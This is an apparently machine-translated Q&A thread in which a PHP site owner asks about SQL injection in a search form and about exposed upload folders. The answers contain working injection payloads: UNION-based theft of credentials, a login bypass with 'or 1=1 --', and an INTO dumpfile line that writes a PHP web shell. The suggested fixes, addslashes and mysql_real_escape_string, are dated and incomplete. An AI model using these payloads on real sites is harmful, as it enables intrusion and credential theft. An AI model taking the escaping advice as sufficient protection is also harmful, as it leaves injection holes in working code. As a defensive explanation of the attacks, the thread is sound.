网站安全,SQL注入和文件权限

时间:2011-10-09 22:53:59

标签: sql-injection security

我正在建立一个非常小的网站(使用PHP),我有两大问题 第一个是关于我的搜索表单 我已经构建了一个非常简单的搜索表单来检索我的内容,然后我使用了一个在线安全工具,并告诉我我的搜索表单容易受到SQLi的攻击 我不知道这一点,所以我开始测试我在一些网站上发现的一些攻击 到目前为止只有'OR 'x'='x工作(它返回我网站的全部内容,这是不是很糟糕?攻击者如何伤害我? 第二个问题是关于我的照片,我使用名为mywebsite.com/uploads/的文件夹来访问我的照片 虽然/ upload受到保护,但子文件夹uploads / temp和uploads / thumbs可通过浏览器看到 这可能也有害吗? 有什么建议吗?

4 个答案:

答案 0 :(得分:2)

SQL注入非常糟糕,但我喜欢它:)

有许多类型的sql注入,如

远程sql注入
盲目的SQL注入 自动绕过sql注入

 **Remote sql injection**

从网站黑客获取数据的简便方法就像编码员一样使用它  看这个例子

mysql_query("SELECT * FROM `table_name` WHERE id=".$_GET['id']." ) ;

我的代码中没有安全性

site.php?ID = 1

我的查询将像

一样执行
mysql_query("SELECT * FROM `table_name` WHERE id=1 ) ;

如果黑客他会杀了你的代码

site.php?id = 1(这里的任何事情都可以解决问题:''a-z A-Z / * /“)

因为查询会像这样

mysql_query("SELECT * FROM `table_name` WHERE id=1' ) ;

因此单个配额将在您的查询中出错

黑客可以像这样攻击

site.php?id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users

此处您的查询将像

一样执行
mysql_query("SELECT * FROM `table_name` WHERE id=1 union select 0,1,concat(user_name,0x3a,password),3,4 from users) ");

这将有效:)

盲目的SQL注入

黑客无法使用简单方法远程sql注入

因为它在这里取决于正确和错误

因此他将使用and or

像这样

 and (select user_name from users) ;

如果工作正常,脚本将运行良好,否则将发生错误

他可以像这样了解数据库信息

示例管理表为admin

 and (select user_name from users) ;      x error

 and (select user_name from admin) ;      fine

自动绕行

它的blicd sql注入但只有真实条件才能访问admin

mysql_query("SELECT * FROM `users` WHERE `user_name`= ".$_POST['user']." AND `password` ='".md5($_POST['pass'])."' ");

黑客可以像这样登录

user = anything'或1 = 1 -

所以你的查询就像

mysql_query("SELECT * FROM `users` WHERE `user_name`= anything or 1=1 --");

数据库中的任何错误用户

但是条件或1 = 1是真的

- 将忽略您的密码检查

他可以轻松访问

保护

addslashes _ mysql_real_escape_string _ intval ( with number only )

文件夹预设你可以使用

清空index.html,index.php,

答案 1 :(得分:1)

如果您允许SQL注入,攻击者可以为您的网站做各种不好的事情。他们可以将代码注入DROP DATABASE,删除整个数据库!

如果您以root用户身份登录mysql,他们可能会在您的服务器上写入文件(并创建)文件。

注射;

SELECT '<?php system($_GET[''cmd'']); ?>' INTO dumpfile('./command.php');

进入服务器是一个常见的第一步,允许攻击者在www-data用户下执行任意命令。从这里开始,将服务器引入僵尸网络,使用它发送垃圾邮件(让您通过发送电子邮件将其列入黑名单),或者只是删除所有文件只是为了毁掉你的一天,这是微不足道的。

必须做的是清理所有用户输入。因此,在搜索处理器中,必须先从搜索查询中转义任何特殊字符,然后再将其传递到数据库,您可以使用mysql_real_escape_string();

如此;

$search_query = mysql_real_escape_string($_POST['search']);

然后在mysql查询中使用$ search_query是安全的。

答案 2 :(得分:0)

SQL注入 - 这很糟糕。 有人可以在您的数据库中运行他想要的任何查询,查找密码,删除整个数据等。 你可以通过使用mysql_real_escape_string

包装查询中的所有用户输入来避免它

关于目录 - 它实际上取决于您提供的访问。如果文件列表可用,那并不意味着有人可以进行更改/执行

答案 3 :(得分:0)

广告SQL注入:

  • 如果您有未发布的文章或仅供注册用户使用的文章等,则显示整个内容可能会出现问题。
  • 尝试阅读有关SQL注入的更多信息。可能会执行第二个查询,在数据库中插入新数据 - 或更糟糕的更改数据(例如密码)。那里有很多阅读材料,一个开始可能是:http://php.net/manual/en/security.database.sql-injection.php消除你的所有输入并记住:即使你找不到通过安全漏洞造成伤害的方法,也不意味着没有人会发现一种方式;)

广告文件夹:您的意思是任何用户都可以看到文件夹的内容?如果是这样,用户可能会看到他们看不到的图片。如果您有充分的理由保护(没有文件列表?)主目录,为什么不将它应用于temps /和thumbs /子目录?